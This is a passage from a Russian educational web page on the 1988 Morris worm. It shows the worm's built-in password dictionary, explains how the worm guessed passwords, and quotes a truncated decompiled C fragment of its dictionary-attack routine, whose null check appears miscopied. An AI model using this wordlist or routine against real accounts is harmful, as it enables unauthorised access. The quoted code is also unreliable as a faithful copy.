gosling, gouge, graham, gryphon, guest,

guitar, gumption, guntis, hacker, hamlet,

handily, happening, harmony, harold, harvey,

hebrides, heinlein, hello, help, herbert,

hiawatha, hibernia, honey, horse, horus,

hutchins, imbroglio, imperial, include, ingres,

inna, innocuous, irishman, isis, japan,

jessica, jester, jixian, johnny, joseph,

joshua, judith, juggle, julia, kathleen,

kermit, kernel, kirkland, knight, ladle,

lambda, lamination, larkin, larry, lazarus,

lebesgue, leland, leroy, lewis, light,

lisa, louis, lynne, macintosh, mack,

maggot, magic, malcolm, mark, markus,

marty, marvin, master, maurice, mellon,

merlin, mets, michael, michelle, mike,

minimum, minsky, moguls, moose, morley,

mozart, nancy, napoleon, nepenthe, ness,

network, newton, next, noxious, nutrition,

nyquist, oceanography, ocelot, olivetti, olivia,

oracle, orca, orwell, osiris, outlaw,

oxford, pacific, painless, pakistan, papers,

password, patricia, penguin, peoria, percolate,

persimmon, persona, pete, peter, philip,

phoenix, pierre, pizza, plover, plymouth,

polynomial, pondering, pork, poster, praise,

precious, prelude, prince", princeton", protect,

protozoa, pumpkin, puneet, puppet, rabbit",

rachmaninoff, rainbow, raindrop, raleigh, random,

rascal, really, rebecca, remote, rick,

ripple, robotics, rochester, rolex, romano,

ronald, rosebud, rosemary, roses, ruben,

rules, ruth, saxon, scamper, scheme,

scott, scotty, secret, sensor, serenity,

sharks, sharon, sheffield, sheldon, shiva,

shivers, shuttle, signature, simon, simple,

singer, single, smile, smiles, smooch,

smother, snatch, snoopy, soap, socrates,

sossina, sparrows, spit, spring, springer,

squires, strangle, stratford, stuttgart, subway,

success, summer, super, superstage, support,

supported, surfer, suzanne, swearer, symmetry,

tangerine, tape, target, tarragon, taylor,

telephone, temptation, thailand, tiger, toggle,

tomato, topography, tortoise, toyota, trails,

trivial, trombone, tubas, tuttle, umesh,

unhappy, unicorn, unknown, urchin", utility,

vasant, vertigo, vicky, village, virginia,

warren, water, weenie, whatnot, whiting,

whitney, will, william, williamsburg, willie,

winston, wisconsin, wizard, wombat, woodwind,

wormwood, yacov, yang, yellowstone, yosemite,

zimmerman.

 

Внимательно просмотрев этот список, можно предположить, что Роберт читал книгу Френка Херберта «Дюна» или, по крайней мере, был знаком с ней. Как знать, может быть, именно она и вдохновила его на создание вируса? Но, так или иначе, вирус был написан, и всякую доступную машину проверял на десять паролей, выбранных их списка наугад, – это частично маскировало присутствие червя в системе. Если же ни один из паролей не подходил, вирус обращался к файлу орфографического словаря, обычно расположенного в каталоге “/usr/dict/words”. Подтверждает эти слова фрагмент вируса, приведенный ниже:

 

· static dict_words()

· {

· char buf[512];

· struct usr *user;

· static FILE *x27f30;

·

· if (x27f30!= NULL)

· {

· x27f30 = fopen(XS(" /usr/dict/words "), XS("r"));

· if (x27f30 == NULL)return;

· }

· if (fgets(buf, sizeof(buf), x27f30) == 0)

· {

· cmode++;

· return;

· }

· (&buf[strlen(buf)])[-1] = '\0';

·

· for (user = x27f28; user; user = user->next) try_passwd(user, buf);


Поделиться с друзьями:

Индивидуальные очистные сооружения: К классу индивидуальных очистных сооружений относят сооружения, пропускная способность которых...

Кормораздатчик мобильный электрифицированный: схема и процесс работы устройства...

Таксономические единицы (категории) растений: Каждая система классификации состоит из определённых соподчиненных друг другу...

Своеобразие русской архитектуры: Основной материал – дерево – быстрота постройки, но недолговечность и необходимость деления...



© cyberpedia.su 2017-2024 - Не является автором материалов. Исключительное право сохранено за автором текста.
Если вы не хотите, чтобы данный материал был у нас на сайте, перейдите по ссылке: Нарушение авторских прав. Мы поможем в написании вашей работы!

0.469 с.